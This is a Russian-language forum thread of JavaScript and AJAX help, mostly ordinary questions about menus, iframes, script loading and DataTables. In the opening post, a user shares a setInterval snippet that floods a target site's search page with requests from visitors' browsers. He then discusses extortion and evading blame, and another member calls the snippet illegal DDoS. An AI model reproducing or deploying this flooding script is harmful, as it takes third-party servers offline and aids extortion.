[JavaScript, AJAX] Задай вопрос, получи ответ

Discussion in 'PHP' started by banned, 9 Jun 2007.

Thread Status:
Not open for further replies.
  1. necroleptick

    necroleptick Member

    Joined:
    3 Jan 2011
    Messages:
    105
    Likes Received:
    11
    Reputations:
    0
    Code:
    <script type="text/javascript">    setInterval(function () {      var img = new Image();      img.src = 'http://site.ru/search?q=' +  Math.random();  }, 20)    </script>
    Если я размещу такой код на своем сайте, то получится ли положить сервер врага? Чисто теоретически все должно работать как я думаю, но чото усомнился хз почему
     
  2. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    necroleptick надеюсь, вы поннимаете, что это будет являться ддосом, обсуждение которого запрещено на этом форуме. А также является преследуемым преступлением в большинстве стран. Так что проверять на своих сайтах не советую, у вас не столько же денег, сколько у ВК
     
    _________________________
  3. Melfis

    Melfis Elder - Старейшина

    Joined:
    25 Apr 2011
    Messages:
    505
    Likes Received:
    105
    Reputations:
    53
    Ну размести скрипт у себя на сервере, который будет обращаться к скрипту на стороннем, и уже аяксом/фреймом передавай нужные параметры в свой скрипт и забирай из него же.
    страница -> <- твой сервер -> <- сторонний сервер.
     
  4. foma9999

    foma9999 New Member

    Joined:
    5 Jan 2010
    Messages:
    83
    Likes Received:
    2
    Reputations:
    -5
    Нет, так не получится. Серв не выдерживает большое кол-во запросов и падает, нужно именно что-то, реализованное на js
     
  5. necroleptick

    necroleptick Member

    Joined:
    3 Jan 2011
    Messages:
    105
    Likes Received:
    11
    Reputations:
    0
    доказать сложно, ещё никого не привлекали только за вымогательства, и то единственный случай был там пацаны валюту наличными получили и мусора их повязали. и это не ддос у меня вирус на сайте завелся просто.
     
    #3425 necroleptick, 27 Apr 2012
    Last edited: 27 Apr 2012
  6. PX379

    PX379 New Member

    Joined:
    1 Jun 2011
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    Здравствуйте. У меня есть меню на JS, а надо сделать так, что бы это меню исчезало при отключенном JS в настройках браузера. И вообще, это возможно сделать в моем случае?

    HTML:
    <!DOCTYPE HTML>
    <html>
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <title>выпадающее меню</title>
    <link rel="stylesheet" type="text/css" href="dropdownmenu.css">
    
    <script type="text/javascript" src="dropdownmenu.js"></script>
    
    </head>
    <noscript>
    <font color="000000">dsvdsvvd</font>
    </noscript>
    <body onLoad="init()">
    
    <ul id="menu">
    	<li><a href="#">Раздел-1</a>
    		<ul>
    			<li><a href="#">Подраздел первого уровня-1</a>
    				<ul>
    					<li><a href="#">Подраздел второго уровня-1</a></li>
    					<li><a href="#">Подраздел второго уровня-2</a></li>
    				</ul>
    			</li>
    		</ul>
    	</li>
    	<li><a href="#">Раздел-2</a>
    		<ul>
    			<li><a href="#">Подраздел первого уровня-1</a></li>
    			<li><a href="#">Подраздел первого уровня-2</a></li>
    		</ul>
    	</li>
    	<li><a href="#">Раздел-3</a>
    		<ul>
    			<li><a href="#">Подраздел первого уровня-1</a></li>
    			<li><a href="#">Подраздел первого уровня-2</a></li>
    			<li><a href="#">Подраздел первого уровня-3</a></li>
    			<li><a href="#">Подраздел первого уровня-4</a></li>
    		</ul>
    	</li>
    	<li><a href="#">Раздел-4</a>
    		<ul>
    			<li><a href="#">Подраздел первого уровня-1</a></li>
    		</ul>
    	</li>
    	<li><a href="#">Раздел-5</a>
    		<ul>
    			<li><a href="#">Подраздел первого уровня-1</a></li>
    			<li><a href="#">Подраздел первого уровня-2</a>
    				<ul>
    					<li><a href="#">Подраздел второго уровня-1</a></li>
    					<li><a href="#">Подраздел второго уровня-2</a></li>
    					<li><a href="#">Подраздел второго уровня-3</a></li>
    					<li><a href="#">Подраздел второго уровня-4</a></li>
    					<li><a href="#">Подраздел второго уровня-5</a></li>
    				</ul>
    			</li>
    			<li><a href="#">Подраздел первого уровня-1</a></li>
    			<li><a href="#">Подраздел первого уровня-2</a></li>
    		</ul>
    	</li>
    </ul>
    
    
    </body>
    
    </html>
    Code:
    function ddMenu(dropdownmenuid)
    {
    	this.id = dropdownmenuid;
    	this.mm = document.getElementById(this.id);
    	
    	this.zIndex = 1;
    	
    	this.closingTime = new Array();
    	this.closingTimeout = new Array();
    	
    	
    	this.init = function()
    	{
    		var mm, lis, i, y, ul, a;
    		
    		lis = this.mm.getElementsByTagName('li');
    		
    		for (i = 0; i < lis.length; i++)
    		{
    			li = lis[i];
    			
    			ul = false;
    			a = false;
    			
    			for (y=0; y<li.childNodes.length; y++)
    			{
    				switch (li.childNodes[y].tagName)
    				{
    					case 'UL':
    						ul = li.childNodes[y];
    						break;
    					
    					case 'INS':
    						a = li.childNodes[y].firstChild;
    						break;
    					
    					case 'A':
    						a = li.childNodes[y];
    						break;
    					
    					default:
    						break;
    				}
    			}
    			
    			if (ul)
    			{
    				a.className = 'dd';
    				ul.id = ul.id || this.id+'_'+i;
    				
    				this.closingTime[ul.id] = 0;
    				
    				ul.style.display = 'none';
    				ul.style.zIndex = 0;
    				
    				li.onmouseover = function(object, ul)
    				{
    					return function()
    					{
    						this.className = 'hover';
    						object.showMenu(ul);
    					}
    				}(this, ul)
    				
    				li.onmouseout = function(object, ul)
    				{
    					return function()
    					{
    						this.className = '';
    						object.closeMenu(ul);
    					}
    				}(this, ul)
    			}
    			else
    			{
    				li.onmouseover = function(){this.className = 'hover';}
    				li.onmouseout = function(){this.className = '';}
    			}
    		}
    	}
    	
    	
    	this.showMenu = function(ul)
    	{
    		ul.style.display = 'block';
    		ul.style.zIndex = this.zIndex++;
    		this.setClosingTime(ul);
    	}
    	
    	
    	this.setClosingTime = function(ul)
    	{
    		var cUl = ul;
    		
    		while (cUl.id != this.id)
    		{
    			this.closingTime[cUl.id] = 0;
    			clearTimeout(this.closingTimeout[ul.id]);
    			
    			cUl = cUl.parentNode.parentNode;
    		}
    	}
    	
    	
    	this.closeMenu = function(ul)
    	{
    		this.closingTime[ul.id]++;
    		
    		if (this.closingTime[ul.id] > 1)
    		{
    			this.closingTime[ul.id] = 0;
    			clearTimeout(this.closingTimeout[ul.id]);
    			
    			ul.style.display = 'none';
    			ul.style.zIndex = 0;
    		}
    		else
    		{
    			this.closingTimeout[ul.id] = setTimeout(function(object, ul)
    			{
    				return function()
    				{
    					object.closeMenu(ul);
    				}
    			}(this, ul), 500);
    		}
    	}
    	
    	
    	this.init();
    }
    
    function init()
    {
    	(new ddMenu('menu'));
    }
     
    #3426 PX379, 3 May 2012
    Last edited: 3 May 2012
  7. portando

    portando New Member

    Joined:
    17 Jan 2012
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    <div id="Scriptmenu" style="display:none">
    <ul id="menu">
    .......
    </ul>
    </div>
    <script>

    document.getElementById('Scriptmenu').style.display="block";

    </script>
     
  8. Invil

    Invil New Member

    Joined:
    17 Aug 2010
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Всем привет! Нужен рабочий яваскрипт для подгонки iframe под загружаемый контент. нашел один, но он может только увеличивать фрейм, а при загрузке более мелкого контента, остается таким-же большим. в образце к этому скрипту, как не странно, все работает корректно. мне кажется дело в том, что там стили прописаны в самом html контента, а у меня в отдельном style.css... хотя не знаю, не шарю в этом, подскажите.

    p.s. фрейм обновляется по нажатию на флеш-меню, там в XML я прописал чтоб по нажатию выполнялась javascript-функция, которая прописана в index.html. Помогите, заранее спасибо.
     
  9. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    уже конкретно задело это

    после загрузки страниц аяксом, подключенные скрипты js перестают функционировать, как боротся с этим?
     
    _________________________
  10. |qbz|

    |qbz| Banned

    Joined:
    25 Dec 2009
    Messages:
    385
    Likes Received:
    169
    Reputations:
    65
    Ты имеешь ввиду что грузишь аяксом какой-то код, в котором есть яваскрипт тоже - и он не работает?

    Если так, то грузи код без тегов <script> и </script> в каком то диве (<div id="code2eval">...</div>), а после подгрузки аяксом делаем что-то типа:

    eval(document.getElementById('code2eval').innerHTML);
     
  11. mirgorod

    mirgorod New Member

    Joined:
    19 Aug 2010
    Messages:
    1
    Likes Received:
    2
    Reputations:
    0
    Народ подскажите как мне можно сделать

    у меня есть скрипт

    <script language="JavaScript" src="http://sate.ru/reklame.php?link=265"/></script>

    как мне его прописать в формате

    <script language="JavaScript">
    тут как будет выгледеть ссылка
    </script>

    т.е. мне ссылку http://sate.ru/reklame.php?link=1 нужно запихнуть между <script language="JavaScript"> и </script>

    Буду очень благодарен
     
  12. |qbz|

    |qbz| Banned

    Joined:
    25 Dec 2009
    Messages:
    385
    Likes Received:
    169
    Reputations:
    65
    Не совсем понял что ты имеешь ввиду, но если тебе нужно указать теги <скрипт> БЕЗ ссылки, то тогда между тегами нужно поместить сам код, на который шла ссылка.
     
  13. mirgorod

    mirgorod New Member

    Joined:
    19 Aug 2010
    Messages:
    1
    Likes Received:
    2
    Reputations:
    0
    мне нужно узнать, как правильно прописать внутри между <script language="JavaScript"> и </script> данную ссылку, что бы работал скрипт

    т.е.

    <script language="JavaScript">

    как тут прописать ссылку http://sate.ru/reklame.php?link=265 что бы заработал скрипт ????

    </script>
     
  14. Melfis

    Melfis Elder - Старейшина

    Joined:
    25 Apr 2011
    Messages:
    505
    Likes Received:
    105
    Reputations:
    53
    Т.е. то, что он просто работает уже по приведённому тобой куску - тебя не устраивает?
    Если по этой линке http://sate.ru/reklame.php?link=265 содержится валидный жс без тегов <script> и прочих хтмл тегов, типа:
    Code:
    var a = 1;
    alert(a);
    то всё должно нормально срабатывать и не надо пихать код внутрь.

    UPD. д по ссылке же не скрипт, а страница хтмл. Ты вообще понимаешь, что сделать то хочешь и как это делаешь?
     
    #3434 Melfis, 14 May 2012
    Last edited: 14 May 2012
  15. AGIMgal

    AGIMgal New Member

    Joined:
    9 Jun 2010
    Messages:
    66
    Likes Received:
    0
    Reputations:
    0
    не знаю тут ли я спрашиваю, но
    есть скрипт который добавляет кнопку на сайт(игра), вообщем он много что там добавляет... как узнать какой код выполняется по нажатию на неё?
     
  16. mirgorod

    mirgorod New Member

    Joined:
    19 Aug 2010
    Messages:
    1
    Likes Received:
    2
    Reputations:
    0
    в сайт на одном из вап движков нужно добавть скрипт
    <script language="JavaScript" src="http://sate.ru/reklame.php?link=265"/></script>

    но на данном движке его невозможно добавить, т.к. там есть возможность лишь добавить в блок между тегами <script language="JavaScript"> и </script>
    вот я и спрашиваю, что мне вписать в блог, что бы скрипт заработал так же как и изначальный скрипт.

    http://clip2net.com/s/1UTUk
    вот как выгледит блок в который мне нужно вставить текст, что бы заработал скрипт <script language="JavaScript" src="http://sate.ru/reklame.php?link=265"/></script>
     
  17. mironich

    mironich Elder - Старейшина

    Joined:
    27 Feb 2011
    Messages:
    733
    Likes Received:
    73
    Reputations:
    19
    Не работает, datatables-column-filter это плагин к datatables(таблице на js) собственно не работают(вводишь слово и все пропадает, несмотря на то что искомое слово есть) фильтры которые от плагина идут.
    Табл.
    Создаю так.
    PHP:
               $('#puck').dataTable({
                    
                    
    "oLanguage":
                    {
                      
    "sUrl""js/ru_RU.txt"
                    
    },
                       
    "bJQueryUI"true,
                
    "sPaginationType""full_numbers",
                                            
    "aoColumnDefs": [ 
                                            { 
    "sWidth""3%""aTargets": [ ] },
                                            { 
    "sWidth""15%""aTargets": [ ] },
                                            { 
    "sWidth""30%""aTargets": [ ] },
                                            { 
    "sWidth""10%""aTargets": [ ] },
                                            { 
    "sWidth""10%""aTargets": [ ] },
                                            { 
    "sWidth""6%""aTargets": [ 5] },
                                            { 
    "sWidth""8%""aTargets": [ ] }],
                                          
    "bProcessing"true,
                                          
    "sAjaxSource""../get.php"
    }
                                ).
    columnFilter(           {
                         
    aoColumns: [
                                        {
                                             
    type"text"
                                        
    },
                                        {
                                             
    type"text"
                                        
    },
                                        
    null,
                                        {
                                             
    type"text"
                                        
    },
                                        
    null,
                                        
    null,
                                        {
                                            
    type"select",
                                            
    valuesSarr        
                                        
    }
                                        
                                        
                                     ]
                   });
    Плагин, http://code.google.com/p/jquery-datatables-column-filter/wiki/ColumnFilter
    DataTables,http://datatables.net/
    Мб кто пользовался и сталкивался с подобным?
    Броузер: лиса\хром.
    Стр. в utf-8 кодировке.
     
  18. Melfis

    Melfis Elder - Старейшина

    Joined:
    25 Apr 2011
    Messages:
    505
    Likes Received:
    105
    Reputations:
    53
    *%?;?*ть
    Что первое, что второе описание проблемы. Хоть со вторым чутка больше понятно.

    Добавляй вручную в шаблон, если там нет такой возможности, но если уж совсем не хочется этого делать, то сунь это в форму для жс:
    Code:
    var head = document.getElementsByTagName('head')[0],
    script = document.createElement('script');
    script.src = 'http://sate.ru/reklame.php?link=265';
    head.appendChild(script);
     
  19. geforse

    geforse Elder - Старейшина

    Joined:
    2 Mar 2008
    Messages:
    617
    Likes Received:
    290
    Reputations:
    1
    Можно определить куда нажата мышка? Мне нужно при шелчке мыши на всей странице,кроме одного div'a выдавать alert.
     
  20. Melfis

    Melfis Elder - Старейшина

    Joined:
    25 Apr 2011
    Messages:
    505
    Likes Received:
    105
    Reputations:
    53
    Можно, вешаешь ивент клика на тело, а внутри после ивента проверяешь по какому-то параметру выдавать алерт или нет.
     
Thread Status:
Not open for further replies.